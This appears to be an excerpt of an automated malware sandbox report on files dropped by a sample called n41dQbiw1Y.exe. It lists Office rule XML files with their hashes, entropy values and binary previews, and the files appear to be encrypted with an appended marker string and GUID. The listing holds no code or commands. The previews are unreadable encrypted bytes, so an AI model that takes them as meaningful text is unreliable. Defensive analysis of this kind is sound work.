Preview:	<?xml.F..}K....(.9M.?..Si..czD.#.bn`.........CZ.}......C ....~<0Y.r.O.v...H...VW[..Au./.E..L.@}....WV.(...}.n2....i'(......<...."..H.H&.Q..o.....6..n^......W.v.`J$.[......K...`ff.{..i.vm&.R....5....@....@..1...\|..}...j.l.~.p......m/.G.a..{."K....F'../.@.C..,r..Y..K..=V=...1G.zb..S..FC.c7c....../..i.......OI...".....?.....CZ!.K.N...h.L....".K..Y^..Q8L.....dt...Q.....;.G.B..O.......v...MZ...mT?.9...L>>...........9-.VP.).....6.o...1NgE..'...v-...b@:..._.Sg.....\|Z`..G;.x.y,.....\|.....04t.....N.R.......\|.zp..<.>..-.-.....5^..A...6.)J.....w...n.R..pM.....M....n.._.y.a/...F4...).T.......Y...m6.5..j..=...O.......*.(..p..</v.=p.E:.RI%......}8f$U..G...#.F.b......E7'Q.Bu.;...A.p...m.....t,.jb...g.h..)&...o.c....$..5=.J..^..{(..<.h%...4.......B...........#.orq`z.vj...._.....)\l. .n/nu......m..D..u.h...GDa.=?:=...&.7...t....kI..F.w._wPHa...C2z.Y....'..oq...M.K..$L[.3. .........C0q.!#..d[..9S.f......".\|...=.Q....&.yG.C.:W.B....T.J..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.696744601514501
Encrypted:	false
SSDEEP:	12:R8ch6RNpH9T0zq3TJv1yi7+2ILQSxzswwz928VRZ3c7iKS15WcpW/iylolcYYciD:+O65H9T0zqTOWb/zY89MGtfpWmc9bD
MD5:	D577363DE81DEB6014C13781653C8101
SHA1:	A4630AF6E76B26E56A909499AA1502FC6EB3A041
SHA-256:	20C8193262202DA989B3AB99C948487654C80ACE218069B8050B175718742899
SHA-512:	B95E2BA36673689F49C5E7B104269BEAF08006BC7238E85FE3EEE4C1C7F153F71B615E0A86B17640F7F8F5230498E1AD22A1F1A151370B8C27A3E87FA82D8EEA
Malicious:	false
Preview:	<?xml....Q..b~=...m.P..M......D..O..;(.=x..RcB..\...g#.).{F..A.Z'.\Y.&.k.8.Z.(..;...s.$.B..1'.o..4.;......S.._...~..C=Un.....0.d...........%.......,Hv...\|...........W...C.hL...t....\|q.%7...D...in0.....`XJ.........%.~.T.5..4....gj.=E..H....o......rU.}..,...d3~...H....q').-.n...X.D./!_..0.RX#.w.6......U.6...{O...&.{..W&^.H.~...(X!4...%T...G4q.......5.f....s6..n.pE9... .g\|...Q0.5$..y.`9.e.S.VCn..)......\|..o....Tk...r{..n.O.A....#=s...\|.....(Ni...Q..h....H.]{...1..-c.E%....m..._7p..'...-...z..%.P....e....pc.I.^4K.g.b.G-;..,4F...I!N.'.nh...G.....P8.....r+.............I....#.h.....pr.2.f._.76..b:.RFc...}.&.{.........\+v...7.....M.\|7.e..@..c...7&.j...LO...U. ..%...k. g.y..K.rl..cl.K.L../.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.753400005644467
Encrypted:	false
SSDEEP:	12:s1zsAaDymBHhRA68sVG9BHKJ+m3jjIor2DpycYt9TlsYwkIxMgXEF+eU8BSAO1Tg:czsL1BHhRn09BHQx2Dql36MgXEIeU8iK
MD5:	B3DE5D33F14B64AC118781871A1509AE
SHA1:	9A96276573FA20081AB2BC96734F8BF0840B5DD4
SHA-256:	B92210B8FB7C3EB8302F022EAC5A3968C22559358DCF5AEE388660FAA48320D1
SHA-512:	9E4B066EB433385B54C100C8D4E2C7DC92A33E61BAEFF7DC11748003256AAB4D004DF9F877FA0D408C2E37E341C001463C21CFF60FEB647879910A9C653FC7CE
Malicious:	false
Preview:	<?xml.X.....Am.RnM}.g..Y.v....e.+b\wD._.........s..d...\|...U.].A......H.R.Iy...z....I.....oC......~.....u.e..{...j.,.V...Wh...!.vr.......M...Z.0y^.x.k.F&."....4x.....+.. ...}.gL.....W.ai.Ce.G..\b..v..9.&..~.O.D..>.N..qF.....n.F..#.4V.....M...)`...+;.e...D#"S.\|A...T.v{w.6 .?9N_. X...d....%J7.Z@.......P..k`........17`N.%9. e.rf.../.$c.:...[.S.+...2P.\.CB..u..I.".>...$...~..h:..YM"...D.y?.h...9.t.......=.o....dV7..@.P6.ki~..v..2.O.zze6V5....g@.?..P(N,.......G./7.:`{.o?...C..xK...Z...T..`....a.....U.\|..:.7..U....R..<.....Kz..........#Z.#.'.(...0A}.......2...R...n.m.....$......[....qm......(d..I.V0....8../{._.......+.L...h..I.TWGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.882411821440815
Encrypted:	false
SSDEEP:	48:tw5NHZyUJU2HsYT4MKFHy3OFCEIdXcmM7wAORaoD:t+tMYYYQJIpM7wAL0
MD5:	5C44E8379C3B8EEDF3607FC6BC6E690D
SHA1:	23C5E78C004F48B52177B90229A1EFDA9582E945
SHA-256:	DA1B31316C72F3B19B24F3FA7AB0B6D83CB94E1C0D264F782BFBC07762ADAD17
SHA-512:	DB96B8161BAE2EAFEA2698AFAACE4FF25B8B5C708ADC61703524E367571CDC4557AB6DB24407A0D991E68F42B648BA15F250C32511AE6EDD8C79453BC88C7477
Malicious:	false
Preview:	<?xml8.z6.4T...^....uC.......z..E...'.....t.o0..l..N.....rr..[.M.6..".3{.P.e.W.r.0.....3....`pr.o2.........M..b/....].6.......kk5. sl2.>..4.Xt.....[.0..n&D.x4w.ky.s6....'.[.K=.2.@8._"{oq..........ri=....._..F4..-....W....5I........#3..V.(..7lf..e..zV3...C.t^..b.z.c.m.P..A.G.Z.g._...r4...J.&v..h.f...d....N_..C zG../.>..&.y..}.Y.9..}[em!...K... 40..1.#A...P..<?_.....>.`..N...La... ."..}....B.Y......e...uC....N...Z.M..UW...u6,}.......%.e..8.+....xK.p.........}..?Y_..#.2.#\|.i.-:K.E1E.......A....(......B..c.u...e..&..mj...B.Z......$W.:..w.>.0`.?..u........m...,c...P.....Q.y(.f".C.oe..Uy.-..g8~.r..e...J..o.......#.ig~o\|......!.^..&#Q3.l...N.:.uJw...$..X.tSB...%.8.[......t..D.......@HK../.. ....@..s...w.........<1..2.`..?.(gm...,...D.H+..[..s.}....7..[dEh.W.I...I<>u.%?..ok`Tc.C.t..X..f\|.....8..P..x......+.z..r=....$uX...F.5..p....."......L.g..LsrFW....<<.%.e^.0..R..(..9.).(.4.........<q...*.pT.W.1A,.."...".SoseJ.%4./..^...qK.M.@..X.M:Z.....m+S._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.795759317162468
Encrypted:	false
SSDEEP:	24:0EvPkBx7fQFelbTWTBigxwAeDaTZEW02NdBKpXY7bD:0EvPkv7IFIgxwLa6V2/BKC/D
MD5:	3E08BE46B565067E034C33734B407300
SHA1:	DF79A98C0C13E022AC157EA09E38C1DF88505D6D
SHA-256:	2D910C7E25FE9797EEB01C2C1DA5B2C026D42C1A4D6B76E4197E361CDD810445
SHA-512:	5D4574544F3E01E6FD4E7ADAD1B7F000FC03EF618B7EDE277499AA639CEF5008F684D13647E7A158DDF9C94B9F703689AD57CABA9B4DD739F709EC08685CC309
Malicious:	false
Preview:	<?xml..e....z.R(g.'....&x....HZ.^\|#+......$.;........hl6}...R...D..k<......].U].{/.y...N.$.F.....o....?.a.3.....ym.._7 .../X.D.wZ..v.N.t?.....4..l...x{)h.z......U.!aZ[F.].t).n.3.\..r.=....)J....BK.(V..1.e...@Yj..\[....HBP.S.6n.l` N.......T.{.C.....g.<x....V'I........Y....(...a....qX....8 .3..........#%{.0..qsr.;I.2.<... ,,.E7h.,+.ioD."........'..9.E...n...$.UJ.k..Q.....^..: pi...pu...$...E.....i.o..A....W.i..3.`.o(.9.,.v.nG..r._.iy......:....Q.,.&Z.p....8.r....r/..x...@:.}..Hg.....j..K'.f...[.r....J...jN<P2 .X.~.4<K<.YU.'..".7F.C.9^.m.\vW..&........)...^....../...vf...R..O..\|..6..\e.H.ZP......3..~.........BH<.......U.(.]L>........0.b.reO...G...Ql..$..,..<......G.P.h.;....v......72#.6.o.J..mu...,...Rq......L.\(..l.....9}..\..%.w{...8Y.Z.t5..yLv-....+..h@p..K7GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.847450381256997
Encrypted:	false
SSDEEP:	24:sBGq79nAaNqfrf2TJygwalpBVrN+C/+civzUT4X/FnU32VuPd3bD:iH79nAaEfMJd3/rN+Vlv9PFnUpD
MD5:	274473204F8B03E2115F60630B886B37
SHA1:	69F71B18AF6178FE5F1488AE51739F7B739F96DF
SHA-256:	E8AD5233CF9B535A776DEE93B850356EA3466DC8CEAA2D7A3C97E62BCBEFF65F
SHA-512:	97E66E104A9FE1495122865E31A1E4B9701044DB3DFFDC79B15E1AB042D1F468A3B0C17DCE5969C7B929613BE17F0F60E0AE24999CA9767CA55844BBC91DD25A
Malicious:	false
Preview:	<?xml...............j5D.o5...6{.]=>e}.5S.zL..s........9../u..>5..7^.)C........r3..n...q.e)......%. V......e.'jnP.O.L..=TyO..l..uB..G..9{....D.&.R\f@..c..C"...."..j...2..L....Nk.5......#.^........q..KTI..e......1..B...`h.,F".\...V.3...CC..:.Z...E.e...)i.+..@.b......@...L.P....5,,.2.\.u._.7b.o.6..rrj.is.[.6.F..\|o....H.......J.A........7..j...jtX.g.^....\|..x..pwnD....u.....W.Y.5....4....L.m....C..R.$K..OS......}......J[>..........$. bn.Z.=..=....y..z[...xO.u.7w.....X%.q..[........+....C.Iw..$...TK1aHA..t,..h.3..8x...n..Q.$.}2..2...o.5Dv..rV..kp..N.. .f....z.#.....Q&p.4..KP)..'.N..v...ch..d]>....N.v/._..+H..h..A.P`.}.1.....^r.V...g.,w]...V..X.....5......'T.8.....4...;%uT.B!S-!mt._.d=.0..8(...hSF4/...J.o......e.4....4K.g..&!n..v.....>.e.;..s.+m......_.._ ....s-..%...X.D`.q...n.....O._b...\|9.06.;./..?AlJz.vF.?.~..3......G..'M.......o6gV...,..4X..9.0=..'O...;.2.N_..'.CV.].9........6.q#u\4.le...X..0P.K.uFLz..D.w.(.dN.8Mc.ld.....mU.-....lsY.D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.836110030863364
Encrypted:	false
SSDEEP:	24:gbhkL6GvvS2D7Gs6IjjQLco7iNY5P/fNImn7i5W3G+/kvcwGEnbD:gbhgjvR7GsLjQoo7iNw/fT76W3b/kvcG
MD5:	A9221EC8C3F76BEDF6176715632D887B
SHA1:	C2C9D80C2AA6B5EA1CC5F501ED49FAE75550B0C9
SHA-256:	74616BB42838FBABFF804A71DF9EA40E8041A8FE8604E24E1B4F8B4C57C7DE20
SHA-512:	1A04BA12523A9C17ECD89C074965C0C54916CF3C994B3CD8E83BD10247B37C5686D4E43BAEFDC958E604C718C60DC9252C416DFD20B6229C770E1BE2DADE6955
Malicious:	false
Preview:	<?xml...l.."...W..<...l.trrN.X...VT..z.]....^....n...d....m.@....A.#j..=....4..C.Y.?..e......F.2.............x..5L.....A.....7....W(.~.../. .M?..g..-.Z..o#{.2./i&z&[0....d...j.;.. ....ZsD4A..'.....I3!.c=..,Uv...1.......c.....zGHH......G.@...N......A..l..m....u........<x..V.{9....X..\...yG...+{O..nb.Nq.'..P.y.v..jK..P...........K.f.<..p.]..CA.t....e..T.W....Ym.=Xr...S..L.B..T...u...7.8.)6.).~..0..g..Mq.s.Oe.%.....)Q.2.......3....O.........p.V.)..8...2...O.^.....%\|0...\..9S..`.i.A.....\..I...Y..cX{.}.. .0..r.....\.n...0..w\........]..)....v.7...r.+.]......]. ..x.j.9....u.X..fUR.....S...a. ......wt...r.XT.t3..1..\|!..(h.. ...n..`..e...#_J......7b.se...q@..o.g(e7...Gf.9....t..\..T.5=...'..E.";....!J. tA+Q.....C.y....6..2^.)r..,.A.p...(]+'.....zXc.._.<E..% ../.{..@g.....F.S0...?.......P.8.!.sWK..Ok...B.n..Md........E....\O.0..ma.o. L<3....-...p.Y.b.d.\e(Ya.......L./.e...n...hS...G..{.-M..<C...7.........x.6.4.u[Yr.6>nz...`.E..F...^..LZHH}]A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.975298337373549
Encrypted:	false
SSDEEP:	192:oUq/DcCfFCg4dtyG/toOap9AvhtcN2hDGha:WD1V4vFbafAvLckwa
MD5:	2359885CB1A77E795C61515FD2691E3E
SHA1:	B724D51A723751AAA5663C9E16CF01C901FD441C
SHA-256:	37CECCE8ADE4A690CE543EE8F0D9BBBCB92A19BBACB8164B60B7F89F4F795FB3
SHA-512:	D77D6488629AD951D693F34FC8244E6598F5A84DE3FC286A8D79D1845CFCB50F880D4C1E85850BE8B4E1862C436521D18E3A20A64B16B199F28F05790A853461
Malicious:	false
Preview:	<?xml .8. ..x..&M..w.8......2;..3.A. _4...7.6q..JW...H..`.Y..c.A^....l..8\w..f....s;.S'.G..2.....s....542......"j........Q.f.......6!u..t.....T..V..04&.,..<.#....a...S.U.b.fak.Z...5....ID\|...`....!..)qsT..yu.]7.].. ....'..yi.sip..o.1.[.Q#.o..V.._K......w...K....V.......l3>.'.....?..Q...Zi....^...f.\..T$..>:'xx...J....o1.....".]V"P5v...D...f..Z."..C.+.7[a.>....H<..bO. Xw?.}.X...dE.........{..9.p..LQ.j.6..d..t.q......'{.W.Y..x!.jD.EDi...UPn.]B.k%...M......'.LP/.........4.).,..cY.E....c.5;.XL.$.VVm.>.w..q..u?..u.>'8a....^..5.....<uS.8.H...{....h...@.%. O}..L.8....=z..b..I.0.-rD.#..tt.px.H..W.^.cDn...2.F....WY..%..8yIO..g...6$.;.I.........~..p..3..-..t.K'H-a`.n..P...p....r......D....3...@6.[..R...\|3...Z.........6.^.... .z.S...c...4Av.../A....]........3&.R.w..xIM..k..Z.6..;.)..O .W4....eMAg<.1......E........L&.]..3....gQq%........7.....w..+...'..27V..M......LR.@..p..I.E.Z...Pw.B....b.?......R..:.>!.....t.D.\|.CYmS.T...0..r..j.O...+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.742041647039914
Encrypted:	false
SSDEEP:	12:nsUneQ/x+qyH9sKp05paMqCyIBh9YMFTCHZa9s9AvHh78loAhUT4e4IZKKYcii9a:ZO5p05E8nh/FTCd9EB7WoAhUTeHvbD
MD5:	631F77543168E0D0A38775D7C6B52506
SHA1:	13EFB9960E9B4EDA224AEE0792F0DB1B2050833E
SHA-256:	BA51A25F082E67955782D3BB756333A688D2C1FD06BEEDF62460DF8F9312F5D0
SHA-512:	A7851384601C5524E59710D0480C6D483A94030DA6FAE491A7F9677B4C111648418953D489E8D7DF657179206B47B352B0A083624DCF04292C5DDA0A1329D4C3
Malicious:	false
Preview:	<?xml6)0.d...%.Ew..}..]`..y...}..M.G. '.-......eI.@.......\|..".mh>K...Ne......hh...LQ`.#..[.B.....E!..iS.#0.?w...`\.....H.\R.~...........$..f..d..Ae..~%.l..@_[.......VpI.....l..n..$.~.Q..h...j.....(.{....i.-fH......UD.1.}.9..H..e.e....6!..;^.`Z.......F..nI8....[...6.......U..nAl.B.~J"vK..........P..YN.c ZW..4..\|wu..........x../......Ysq.@$QQX.B}...N....."_.....(....s3..K-.0.....p.p...{>..)......n...rBS...:...m...SF..v%...........dx.4.2.....4..a.~..I.....n....:...Xs..Jc..X~E.o.._..m...=...EMF....f..w...Z~9..a.b.t...^5<.......)...E.B.J..y..813d.r...;<....s..b......~....M5u3.".V.n..jL.B._s.O8.S..L.C.#.1*.y-....L\q...........6_v.a.(.g...+.G.U4..I.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.859993488621358
Encrypted:	false
SSDEEP:	24:MagWROuz6l0Uy/Jy7KBFCDtJoTDslI8DAGl43tqGGFH+A3D5NSuK7WbD:PgcOuOliJFBFCDtcslvAg4MGGFh3VqID
MD5:	6BD81848AB48EDC9A57AEA4518ADB782
SHA1:	1FC26CDB180130E399E48B8D93A1ABF713150F18
SHA-256:	757DE29786475DB41447ACB7A33BF96580797EA02E67D757D9216247A538550B
SHA-512:	DF2BE14FF85662885F5404683F0AAF3565D6CF1029722BFB83596CF3F14688310ABB0EC44BBE0C0B75E0B14A9C377530BC13B8ACFDA9787002CD76F45D6F1C5E
Malicious:	false
Preview:	<?xml01D......s.QQ^.ro.....+.S..a........[P...^w.:x.\.J!...f..j.... .>...8.p.h..$.)...<...N.....J..y.PY_....[.:.;...yC...i....L..h..R.%.....C..^.,O.q.S......6@.9:...b\|.....4Wl.I.._yu..D.G^.]....}..aO.......}.yj......!...6.vkR........MX)~q..m..aoC..rP..W...."!...;f:`.$.h....$..C..3......7....Q.8....z.2.@@.....$G....zIid..)..`w...d@.#.qx&.g.P?\|..=.F...C!8.....w..R-.v....1..tAQl!,E.U..'&../yP.....g..#..4.......u.....\....@...L../>.....Ia4....,S..7tn`...2.N...7i..:..?......N..yNG...B.<.w.;..0..>..........C..d-#....g."..Ims]F%Gr.Xk(.Z..P>../.c..84.lB.(..$3%..C".V.K..;...'61...0n3-.@...9Q....QU\|xi...}.hY4.;g.Nx.x..bd..%....;...a........J6./...".....O. >...a...Fi3~I...qt........B.lB....Q~\|. 8....K@Z..Ss....(...K.C...sb.K$.......HX.}.2...@<v.....kv.=..%.8.aEDk./....A.wED..(.H.'......+.+.3c:B..R...E+...U..=w..8.N...^w..?.h..J..1..........t..o.<....d....j}m.....,..#\R.....1&..,k........hx[.a......A........a.Q...._..C...g..#B......".q\.1..[\z.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.94212386964985
Encrypted:	false
SSDEEP:	96:bOi1lUlmmoMXFjQpGtAhU+Ua33kd/+zl1gK0wUnqgTZ:9rUBoMVjQNYaHkd/+J1gK2nLTZ
MD5:	6B7C8F26D1D34A55EA3FE2CD346A10B1
SHA1:	FC9BC281988397AEFBB9BDEB975B8FD5325657E9
SHA-256:	3A3BB8912D7F68D78AB190B1EEBEAE469051E85884316E730942E837A257D570
SHA-512:	55D60C88C7C5BF30A2AF10B1CE47F23A770EFD3D3A05F204246F0AC0BEE5EBF1ADE2557227E846F3DE58C9C973F9B5E15EE24C2572DAE27BCF5F1F96CF534565
Malicious:	false
Preview:	<?xml...}x.)d...\P.Ja...o.\|.....2.+>...n.........Z#O.:.X..rbc:l"%..w8.D}V....a.}...S...Z .x.G'\|.:.Sz...h.A.4D..\|L......='..T..>.."5(p....)...$..#f...C<...d'0[8P.n...&...#....?.y.<..1.I._.-..#....&\.8.8f.......XJ...YT.rV........->q.(..`x{..b.....SN....<..$.!].....C...K/..D.Ww..AL`2.K..g).V....-..N....6).%'M{......8?~....sSBD..4......8..a)....(.n.U@_..hTO.i.4.0"&.....L.^...".>a.....jla...?.'1g.t.3?dK.3X..'.v.O.rl..a..3....E..[.a..}j..Z..wD.....R.fF+J..6N.R..z0Eze.s.a\|'no.......u.k..d.k=.F.Qz....@......%.HK...p@.A......Jn2..3[.....<.S...u.y$t....``..(.90..Q.33anL(...".FL......L.&...\...\..fpB3=K...<.G(.P..x.....x.Q.>...1...N)...?1M .W=.9...W......{......>...?.2.....RoM7.5...p....{0?...ifa-.2....>.qJ.E.C......"p"....U.(.0..!..+./.."..x..e.3..j.'~.JR......................7..p...@Z.AqY......q)..s...Y-.;.M..n...6..k..5.......L...0....D.m.jD-`..J..].g..zL.?0...X.....0.<8)MPP..F....l..#n.....~t+.l........h/.-..J./......?.r..L...:......P*..n@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.777616261752299
Encrypted:	false
SSDEEP:	24:eLXBhyJwpZCqk/v3DrlnpCaF+AzoSwNI0SPATe7e9bD:mXBhFPCqknTrlEKfzoSwNgn2D
MD5:	FD1B603292097E200F0B6A58729ACC92
SHA1:	F236F96B7C2CAECACAD937FFC9F98427E0F55FC3
SHA-256:	E594274522DDE25D7D6C5B5289DD3C67BE538D95591F1977A027E2125FECD523
SHA-512:	2ECC8421108F63DE2FB63F424E410A1773EB4A0858D03AB47498E8026C03662722186F39ED7FE9FA102ACAA63014E35944185F6FBD27ED6225AAF27A81E6B83A
Malicious:	false
Preview:	<?xmliN..Vl..4.7..R..%.......N..O3....S`.e\.d;..,H...][O..=..x.;HD.][.=..+...."..=.E.F...Dd....z.\..~....)z......P.....FB=o....3"#ai_Y.7.\.l.'[<FH{....-....f5.^...!.\c....~.....+.;:....Z..h....b....vY.......6.....&v.Z@z..D....+.:.p..rX.?.g..\|\|:Ly.-..:...e.bYb.R..YR\|.d...Mi..Q.2..g.29....(....!..<..}.=....w.,..3..=1\.Ab.K.......x..9...=K.,.5B...+..-g.%.Y.8s..+.}..\|..Y.76z...k..J.v`U.u...cQ0..V.D.k-P....b]v......P..P.../.r$.+..T...V..V1.Z7<J.\|..R.~-.a..Z..e5a<w.i...t....}ZQ...?tPf.y...FQ..lv...osA....T".v..@.6......k......Q$..X. .q....c;.I..D.. .U.F_.1.,.Jw..,..]OOM.n..:.6....._.>...Wi...S0<b..1?,._.}..k.[..z......M.Q.Zf..8.\.......E..z.:p..#..9......j.b.<r...........%-.,.J.wh.R...oSH7 ..k8....R&.}B....m..3.....,cbno.^...S{..y.%T.K(%wt...[..n..Q1..m....1..j....qij.] ..V..g:.... ..}....J..2W..2..P#P..R.......Q4js..t.......t.$.'...OR.^...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.923594421860223
Encrypted:	false
SSDEEP:	48:O1lyx+sS9YONc6258sBKQlHYSDkPpBYDB/jDQbbNNbNwXcSAD3+I5d5u9dB+F/Or:CyU9clescaHrDGYDB/jDQPN/EiKKXw86
MD5:	A2B3F7AB15E7D81E5326018F4F003515
SHA1:	75B7F62FCBFD405AB1F3AFCD4A6790A1DC3A2ABC
SHA-256:	C7060F72C94FA96052C8F7226B21D2821FC45919A4CB7BAFAD9304959FD4BEC1
SHA-512:	2AB6EAA581A802E55D988A7BFC7F9A21DF529C600AB7736F79398D15C740DAE56A115A02D9A0AF0AC85EDF0B046CA6665374059BCB5546226E34211FE0DEC493
Malicious:	false
Preview:	<?xmlA:!..#.2.\|.v.....J&..Ff65...]kx.....p6.C....K....W..88.../._."...P.i.;t...(.C.....Sj../$.D...d.\.....;.............L.C..}....c.(..{].#........:."....xO^....C.c.Z.....Z.B-f..<..l..j3.'.1..a..........Dx.....#K..3...........O...............]..3..pa.V...,[1.V..w..+........$.\..XJ.2.....c.....%4.\H\|..a.o...f....v.s..Y....2..Tz..9.\6J.5....E........}.w-..I9.KLO...........E,.(.L1*..F].A....(.6..C9..^.......\2...a..gD..t......4...?.9eZ...8...k.&<!F.R. ..t.P?r2~......R..T..I...}.4o.!%...\|.....(.@........V..<.i....{.H.b.K^..C..U}u...b...-._...E ........Jv.3.R.......i1.....%.-.8.....#......9...M..J.d..._......v....^.......\..g...5.Q........G......u`.6.x5....h.uKJ.c.......2.r.&..q...H.ws...^IHFV.......P.9...',.....g..YX.N..J...@)WI..a....hl..o.g...r...tIcW.\|.q...p..2.........n.).~..$_.<.M.Bqwd....D;U....'.CcB........-.....mz..[.........0.ts..=...2.<......S.D)z-P.A.r...2u(}...b.cq.BO..E.....-.N.FG..3L..U.@..}5......L4../ ...+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.918415016604646
Encrypted:	false
SSDEEP:	48:BR1rDlG/AdzaDtzLozFgdt5uB222hQVGD10iAYhi3QvQRJJnHA2T5YOD+VzD:m/AdgzLozCt562XSGBhi3Z9H/T5LiVf
MD5:	4E01377AC1CB819ACC19851EC134D0B0
SHA1:	A6411B68F456D537F5C17D756A5D129ECA733148
SHA-256:	80A280DDE30484CCBAB8D3710DC17F7275218BB4DD208B9938BC8F296BE1278B
SHA-512:	8292C4A7226647F8526C810BD5D73EE99ED9A2F24857298F6E924A809E2FF9F9E3E0AA28B5A61A8A8A90E6EB4F5AAA0BEB17E04D9AFA36F2932947C172C3BEAD
Malicious:	false
Preview:	<?xml{.M.:.v/R.........G.P.>{.1..h$H.M.....U2...Q.PP."\|.K..7.6.u.M.0w...'.}..Xh....=.....qR.eh....Sn....N....Q..X?.(.R...y.5...&+).?.'ST^;.v...).(.pf...\WSV....q5C....L.C9...A(G.&lE.#......0.oWw..0L....}....\|.n.yt.M&..`.....FM.@....I MI$..l.s..L....p....hn.X..a.+-F<.a..fN.O"..=...jw...l.;.1....'.R.?..\?]{./..[......~?..J#.U..K)..a.r(g..'...M.N-.:..9...U.9..$_p..'T...^.....$0....ZZ.......!.,..:l..?....M.M...?s......J...........U.Yui..'.p.E..N.'.b.?.4.$Q..Y.e.........X.....RB.q..X.......`......X...E(.......:.....c....z.x.%y..E..1.t.%..H+.k.nP......./iH..x.)..C....;.......A%..e.P.......v[GW....o;k..U..._Y...<..c.m).$..;0Q...^...oN8F.E#.. .J.e.....q1...... .T...{..1^..K.r9.8...q.........GO)..vt.".GA.....)9s\m.~o.....\|s..&,.v..=h.jj('p.9......&.6.N`.G....[i&.#$4q.X.d.._T.%........a........7NS.D~.#.@.N.9D..2"9.o^ZH...pA....\|.p...\|Epil....T+..'...V{Z.3.th.?..rlv4......=od....)..k..12.R-(D....B.+#...y{....\]3.?....`^..;".K..[G....2..".e..].9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.936892553726951
Encrypted:	false
SSDEEP:	48:pN9t+o/ZM5GKNmVQjQQsRptkedW9eldnaLUtmPxriPZC19y5lpkC9D:nHN/ZM5GfCEQsnhdvl1tm5enp7F
MD5:	DFDCFF28E0FC22771C1DEC44363DE3F9
SHA1:	8D0A1B34B3E3AE1E0CE3D5553491A14AAAE12E84
SHA-256:	0F6665C5C4DB83A5AA4DA72407A3689B314327798EA34DB036947568AE7E4942
SHA-512:	04A75714E20E5784BE4E53199E9FED58FC5DF7A5908921D0B3AFFDB29705D62914814A0180DAED6C101B7E6A21BF5891CD1FA99860654EB934728E9541C1360C
Malicious:	false
